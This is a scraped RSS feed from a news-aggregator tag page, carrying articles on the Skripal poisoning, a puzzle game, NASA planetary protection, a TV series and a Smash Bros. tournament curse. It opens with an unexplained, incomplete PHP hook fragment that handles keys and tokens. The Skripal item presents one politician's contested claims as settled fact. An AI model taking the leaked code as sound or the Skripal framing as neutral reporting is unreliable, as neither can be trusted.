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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Plagues – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 04 Apr 2018 17:15:42 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Plagues – Brief News https://briefnews.eu 32 32 ‘Lies & smears’: Livingstone slams UK’s Skripal claims as backtracking plagues investigation (VIDEO) https://briefnews.eu/lies-smears-livingstone-slams-uks-skripal-claims-as-backtracking-plagues-investigation-video/ https://briefnews.eu/lies-smears-livingstone-slams-uks-skripal-claims-as-backtracking-plagues-investigation-video/#respond Wed, 04 Apr 2018 17:15:42 +0000 http://briefnews.eu/lies-smears-livingstone-slams-uks-skripal-claims-as-backtracking-plagues-investigation-video/

Ken Livingstone has said UK politics revolves around lies after Downing Street suffered a day of embarrassment in the Skripal poisoning case.

The former London mayor was interviewed after a British delegation said to the Organization for the Prohibition of Chemical Weapons(OPCW) it would be “perverse” to include Russia in the investigation into the poisoning of Sergei Skripal and his daughter Yulia.

Livingstone said the UK “clearly doesn’t want an open and honest investigation” into what happened in Salisbury on March 4. However, politicians insist on blaming Moscow, without evidence.

“The British government has set out to blame all of this on President Putin and Russia from the very beginning,” Livingstone said.

“All the evidence coming out brings this into question. The idea it can only be Russia behind all this is nonsense. Our country has a principle you are innocent until proven guilty, but here we have our Prime Minister Theresa May on the television immediately denouncing Russia and ordering the expulsion of Russian diplomats.”

Livingstone said the UK is attempting to spread an “anti-Russia” rhetoric and NATO has seized on it. He also said the mainstream media will not challenge the ideology being spread.

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]]> https://briefnews.eu/lies-smears-livingstone-slams-uks-skripal-claims-as-backtracking-plagues-investigation-video/feed/ 0 Stop The Ten Plagues Of Egypt In Rusty Lake Paradise https://briefnews.eu/stop-the-ten-plagues-of-egypt-in-rusty-lake-paradise/ https://briefnews.eu/stop-the-ten-plagues-of-egypt-in-rusty-lake-paradise/#respond Sun, 14 Jan 2018 01:42:25 +0000 http://briefnews.eu/stop-the-ten-plagues-of-egypt-in-rusty-lake-paradise/ rustyLakeParadise_header.jpg

In the newest addition to the Rusty Lake point and click series, Rusty Lake Paradise sets up for a new atmospheric and chilling experience. Players will be taken on a dark journey as they must attempt to stop the plagues by uncovering hidden memories and participating in twisted family rituals.

Traveling to Paradise Island after his mother’s mysterious passing, Jakob Eilander finds himself in a very eerie situation. Jakob finds the island cursed by the ten plagues of Egypt and, perhaps by coincidence, it all started around the time of his mother’s death. Jakob must find his mother’s hidden memories to unveil clues about the mysterious circumstances he finds himself in.

As players discover the plagues, the atmosphere of the game will shift. For each plague, players will find themselves experiencing a new set of music and an atmosphere suited to that plague. There is certainly more than enough gruesome imagery to work with when the plagues can range from hails of frogs to water turning to boiling blood.

Get your clicker-finger ready to solve a dark mystery and sink into the depths of Rusty Lake Paradise.


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]]> https://briefnews.eu/stop-the-ten-plagues-of-egypt-in-rusty-lake-paradise/feed/ 0 How NASA will defend the Earth against plagues from outer space https://briefnews.eu/how-nasa-will-defend-the-earth-against-plagues-from-outer-space/ https://briefnews.eu/how-nasa-will-defend-the-earth-against-plagues-from-outer-space/#respond Sun, 19 Nov 2017 18:26:38 +0000 http://briefnews.eu/how-nasa-will-defend-the-earth-against-plagues-from-outer-space/

In the summer of 1957, the Earth stood witness as a meteorite cratered in rural Pennsylvania, bringing with it a people-eating plague never seen: an alien amoeba with the taste for human flesh. While we had Steve McQueen around for the first invasion, humanity is now defended against microbial marauders from outer space by NASA and its international counterparts.

Biological contamination goes both ways, mind you. Just as important as keeping extraterrestrial organisms from reaching the surface (aka “backward contamination”) is ensuring that our planetary probes carry as few microbial hitchhikers from Earth as possible (“forward contamination”). To that end, in 1958, the U.S. National Academy of Sciences (NAS) issued a decree urging “that scientists plan lunar and planetary studies with great care and deep concern so that initial operations do not compromise and make impossible forever after critical scientific experiments.”

The following year, the newly formed Committee on Space Research (COSPAR) argued “that all practical steps should be taken to ensure that Mars be not biologically contaminated” until an exhaustive search for life on the planet had been undertaken. These recommendations became law in 1967 when the US, the USSR and the UK all signed onto the United Nations Outer Space Treaty.

“Part of our thinking about planetary protection is that we want to make sure that we safeguard to any future human exploration,” Dr. Lucianne Walkowicz, an astronomer at Adler Planetarium and the Astrobiology Chair at the Library of Congress, told Engadget. “When we bring spacecraft to other worlds (or eventually human beings), we want to make sure that we understand that environment. That means being relatively cautious about contaminating it.”

However, not every extraterrestrial target of human interest requires the same degree of caution. Places like the Sun or Mercury, which are almost assuredly devoid of biological organisms, don’t require the same level of protection as, say, Mars or the Moon, which are just heavily irradiated and desperately cold. In fact, COSPAR has developed a 5-category system which space agencies must abide by when they’re developing their planetary probes:

  • Category I covers places with little chance of finding even basic forms of life, like Mercury.

  • Category II includes places that might be explored for the origins of life but where the chances of contamination by Earthly microbes is remote. Think Venus or the Moon.

  • Category III regulates flyby and orbiter missions where the chances of contamination are moderate, like Mars or Europa. This is why Cassini was thrown into Saturn: we couldn’t have it falling into Enceladus or Titan.

  • Category IV regulates lander or probe missions to the same places as category III, though it is further divided into a series of subclasses based on specific regions of the planet’s surface and what the lander is actually looking for.

  • Category V is what happens if there’s a good chance we’ll pick up a Blob in space. It demands “absolute prohibition of destructive impact upon return, containment of all returned hardware which directly contacted the target body, and containment of any unsterilized sample returned to Earth.”

“I think they’re good for us as a working framework,” Walkowicz said. “They certainly have served us well in the history of exploration and our solar system thus far.”

It’s extremely important that space agencies understand the categorical protection requirements of their mission, explains Dr. John Rummel, Senior Scientist at the SETI Institute and former NASA Planetary Protection Officer. “If you tell someone at the last minute they going to do something they had never been planning on, well, they may have to re-engineer entire spacecraft,” he told Engadget. “If, on the other hand, they anticipate these requirements from the beginning… then it’s not that big of a deal.”

This planetary protection scheme is designed to minimize the damage from both forward and backward contamination. “We really want to safeguard our own planet’s biosphere we have all these wonderful living things here,” Walkowicz said. “We want to make sure that we can explore and bring back the samples and use the benefits of our Earthly labs without endangering the world.”

Dr. Rummel, however, is not particularly concerned. “In my opinion, there is a reasonable possibility that nothing we could do with a sample return done robotically would bring back anything that’s alive,” he said.

Rummel argues that any microorganisms hitching a ride from Mars aboard a material sample would be woefully ill-equipped to handle the rigors of interplanetary flight. “We don’t know what those organisms require so the chance that we get lucky and bring them back alive is small.”

That said, Rummel acknowledges the value in assuming the worst. “The National Research Council and Space Studies Board have always maintained that we will contain [returned samples] as if they’re the most hazardous thing on Earth until we prove that it’s safe,” he continued. “There’s no upside in cutting corners.”

To ensure that outbound spacecraft remain sterile until they’re launched, the OPP has traditionally relied on a process known as Dry Heat Microbial Reduction (DHMR). This involves baking individual spacecraft components at temperatures of 110 degrees Celsius for 47 hours or 125C for 5 hours with zero relative humidity.

First utilized for the Viking missions, “it’s a very handy technology,” Walkowicz explained. “It’s very effective on surfaces, but also between surfaces or even within materials, which is why it has widespread adoption.”

There are limitations to this method, however. It cannot sterilize an entire spacecraft, for example, as everything from electronic components to structural adhesives and landing parachutes would be destroyed by the heat. As such, NASA has been researching alternative methods to augment the DHMR process, many of which hail from existing medical technologies.

Of particular interest for Mars exploration is supercritical carbon dioxide cleaning. Carbon dioxide is held under extremely low temperature and at extremely high pressure so it exhibits qualities of both a gas and a liquid. When mixed with peracetic acid (PAA), it can be used to sterilize materials. What’s more, Walkowicz said, given the planet’s high CO2 content “maybe there would be a way to develop technology that could use Mars’s atmosphere in some way to create a local bioburden reducing technology… and do that in situ.”

NASA’s Jet Propulsion Lab is also developing a technique dubbed vapor phase hydrogen peroxide (VHP) sterilization, which is generated from a solution of liquid H2O2 and water. When concentrated between 140 ppm and 1400 ppm, it acts as an antimicrobial agent. However, “the limitation there is that it’s never been used at a systemic level — like the whole spacecraft level — so you could do it on smaller components but not necessarily the entire craft,” Walkowicz said. There’s also the danger of it becoming too concentrated. If VHP levels reach 75 ppm, it becomes toxic to humans.

There is also work being done with ethylene oxide as a sterilizer, though Walkowicz points out that ethylene oxide is “kind of explosive.” Ionizing radiation techniques are also being explored. The parachute for the Beagle 2 mission, for example, could not withstand DHMR, so NASA scientists subjected it to radioactive sterilization instead. Beyond that, the NASA Mars Exploration Program has examined leveraging electron beam sterilization, which is already utilized in food processing, as a means of cleaning spacecraft.

Of course, there is also the chance that we’re overthinking this whole issue, at least as it applies to Mars exploration. Rummel hypothesizes that there was a natural interchange of biology between Mars and Earth some 4 billion years ago that potentially renders our efforts moot:

Imagine that life originated on Mars. Life was knocked off of Mars by a large impact event which made Mars rocks eventually come to Earth. The Earth, without any life, is seeded by Mars rocks and then all of a sudden you have all these Mars organisms living on the Earth… the natural response of Earth and Mars together would be the evolution of animals, plants and whatnot. So we could all be Martians and that is as bad as it gets, I think.

Whether we need the protection or not, there are a number of ways that future interplanetary explorers might avoid the biological pitfalls of Mars. “We tend to think of it as being robotic exploration or human exploration,” Walkowicz said. “In reality we see humans and robots cooperate all the time in exploration on Earth” such as the Fukushima power plant cleanup or subsea exploration in Antarctica.

“We often send robotic probes and I think that that’s something that we’re likely to see in some of those early explorations of Mars that involves a human component,” she continued. Essentially, astronauts would either remain in orbit or sequestered in a planet-side bunker and remotely control robotic rovers who would do the legwork on our behalf. “The other possibility is, instead of worrying about cleaning your spacecraft off afterwards, you construct it as cleanly as you possibly can” from the start.

In the end, Walkowicz argues, planetary protection requirements should not be viewed as a hindrance to space exploration, but rather, an asset. “If we want to answer some of those difficult questions about the origin of life, if we really want to understand Mars or Europa or any of these worlds as astrobiological resources, we have to fold planetary protection into our thinking,” she said. “It enables the science that we want to be able to do.”

Or, as Rummel points out, “To paraphrase Franklin Roosevelt, ‘The only thing we have to fear is fear itself.'” Well, that and the space plague.

Images: United Nations (Outer Space Treaty signing); NASA (clean room and Carl Sagan with Voyager 1)

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]]> https://briefnews.eu/how-nasa-will-defend-the-earth-against-plagues-from-outer-space/feed/ 0 A supernatural fog plagues a town in Stephen King’s ‘The Mist’ adaptation https://briefnews.eu/a-supernatural-fog-plagues-a-town-in-stephen-kings-the-mist-adaptation/ https://briefnews.eu/a-supernatural-fog-plagues-a-town-in-stephen-kings-the-mist-adaptation/#respond Wed, 12 Apr 2017 02:27:46 +0000 http://briefnews.eu/a-supernatural-fog-plagues-a-town-in-stephen-kings-the-mist-adaptation/ When it comes to Stephen King, a mist isn’t just a mist. In the upcoming Spike series The Mist, a town is trapped in various locations, including a church and a mall — when a preternatural fog blankets everything. Yes, the weather is frightful, but being locked up in with neighbors harboring secrets could be just as dangerous.

The town is still dealing with the aftermath of a violent crime committed by the sheriff’s son, Jay (Luke Cosgrove), when the strange mist shows up. Controversial sex-ed teacher Eve Copeland (Alyssa Sutherland), her husband, Kevin (Morgan Spector), and their rebellious daughter, Alex (Gus Birney), are also trapped, as is their unusual neighbor Nathalie Raven (Six Feet Under’s Frances Conroy).

Related: ‘Sense8’ returns to Netflix in May, and here’s the first trailer for the series

Some — like Sheriff Connor Heisel (Darren Pettie), facility manager Gus Redman (Isiah Whitlock Jr.), and a priest named Father Romanov (Dan Butler) — try to keep the peace or make sense of the mysterious mist. Others have problems of their own, such as drug addict Mia (Danica Curcic) and Bryan Hunter (Okezie Morro) a soldier who has amnesia. The mist itself seems to be messing with the characters’ minds; at one point, the sheriff says he felt the fog knows him.

Based on King’s novella, The Mist expands upon a 2007 film version, adding new locations and characters to flesh out the 10-episode first season. “The novella is 200 pages and one location, and we needed to change that to make an ongoing series. But we wanted to remain faithful to the heart of the story,” show creator Christian Torpe told Entertainment Weekly.

The Mist’s executive producers are Bob Weinstein, Harvey Weinstein, and David Glasser for TWC-Dimension Television. Megan Spanjian, Matthew Signer, and Keith Levine will produce the show. It debuts June 22 on Spike.

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]]> https://briefnews.eu/a-supernatural-fog-plagues-a-town-in-stephen-kings-the-mist-adaptation/feed/ 0 A Southern California Tournament Curse Plagues Top Smash Bros. Players https://briefnews.eu/a-southern-california-tournament-curse-plagues-top-smash-bros-players/ https://briefnews.eu/a-southern-california-tournament-curse-plagues-top-smash-bros-players/#respond Fri, 31 Mar 2017 22:23:42 +0000 http://briefnews.eu/a-southern-california-tournament-curse-plagues-top-smash-bros-players/

Call it a curse. Call it a jinx. Something is currently afflicting a series of Super Smash Bros. for Wii U tournaments. The Saga events are run by a group called 2GGaming in Southern California and are typically named after a player or players who have been flown in to compete. The problem is that, but over the course of 13 separate tournaments, none of these individuals have been able to win the competitions bearing their names.

And it all happened again, pretty much, just last weekend when the team leaders playing in an off-shoot event called Civil War lost earlier than expected.

Established in late 2015 2GGaming is an outfit dedicated to organizing and broadcasting some of the most exciting Super Smash Bros. for Wii U events in the world. Like others, they provide weekly competition for players looking for more regular play, but what truly sets them apart is the Saga tournament series.

Starting with Fatality Saga in December 2015, 2GGaming established a trend of naming their tournaments after specific competitors or regions and flying them out to the event. Fatality Saga was named after high-level Captain Falcon player Griffin “Fatality” Miller. But this first event established a different kind of trend, one that would see the featured player or players miss out on taking home the grand prize.

The winner of Fatality Saga was Gonzalo “ZeRo” Barrios champion, who was well into his run as the undisputed best Super Smash Bros. for Wii U player in the world. Fatality finished his tournament run at a respectable seventh. Little did the Smash community know what horrors awaited them.

  • The next event, ESAM Saga, borrowed its name from Eric “ESAM” Lew, a top Pikachu main from Florida. After making the trip to Southern California, he placed fifth in singles and second in doubles.
  • After that, Corey “False” Shin came in second at The False Awakens.
  • Phil “EE” Visu, who is known more for his broadcast skills than gameplay, picked up a single win in EE Saga’s special commentators round robin.
  • And in the most surprising turn thus far, Marcus “Pink Fresh” Wilson failed to crack top 16 at Fresh Saga.

In case you think this is all coincidence, it doesn’t just apply to one player at a time. A total of 11 players visited the United States from Mexico for the aptly named Mexico Saga; only three cracked the top 48. Cristian “Hyuga” Medina, the most successful Mexican competitor at the event, bowed out in 4th place. Midwest Mayhem Saga, which acted as a prelude to the 2016 installment of the Chicago-based tournament series, was a disaster for Midwestern players outside of Nicholas “Ned” Dovel, who barely missed making top three.

This curse has survived to present day, and made its presence known most extraordinarily at Civil War earlier this month. While not an official Saga event, Civil War was perhaps the most important Super Smash Bros. for Wii U event to date. With almost every top player in attendance as well as a high-level crew battle acting as the marquee matchup, it was, simply put, massive. The main draw was a showdown of two teams, one led by ZeRo and one by Elliot “Ally” Carroza-Oyarce. Too bad for those guys.

Both players, often considered the top two in terms of Super Smash Bros. for Wii U competition, picked up early losses. ZeRo’s came in the winners finals of his pool against Matthew “Xzax” Liberatore, a strong Fox from Northern California, while Ally fell to fellow Canadian Mason “Locus” Charlton soon after. Ally eventually made it to top 32 before being eliminated by ESAM, but ZeRo’s tournament run came to a shocking end at 49th, just two games after his first loss. According to his SSBWiki entry, this was ZeRo’s worst finish since 2011, spanning all the way back to the days of Super Smash Bros. Brawl.

By flexing its muscles at Civil War, the Saga curse claimed its most high-profile victims to date. It’s very real, and it wants everyone to know it.

Lots of competitive scenes have curses. The NFL has the Madden curse. Until last year, the Chicago Cubs suffered under the century-old Curse of the Billy Goat. Rapper Lil B has the proven ability to curse any NBA player that gets on his bad side, most famously when Kevin Durant and his Oklahoma City Thunder flubbed a 3-1 lead against the Golden State Warriors in the 2016 Western Conference Finals, missing out on championship glory. While it doesn’t have to do with mysterious injuries or eerie proclamations, the Saga curse is just as inexplicably persistent as any other you’d find in the world of sports.

2GGaming’s next event is unique in that it will focus on a character instead of a player. Greninja Saga is scheduled to pay homage to Smash’s most recent Pokémon addition, and it’s likely the organizers plan to invite strong Greninja players, such as Masaya “aMSa” Chikamoto and Dennis “iStudying” Kwarteng, to take part. That said, it may be smart for them to sit this one out. The curse doesn’t play games.

Ian Walker is a fighting game expert and freelance writer. You can find him on Twitter at @iantothemax.


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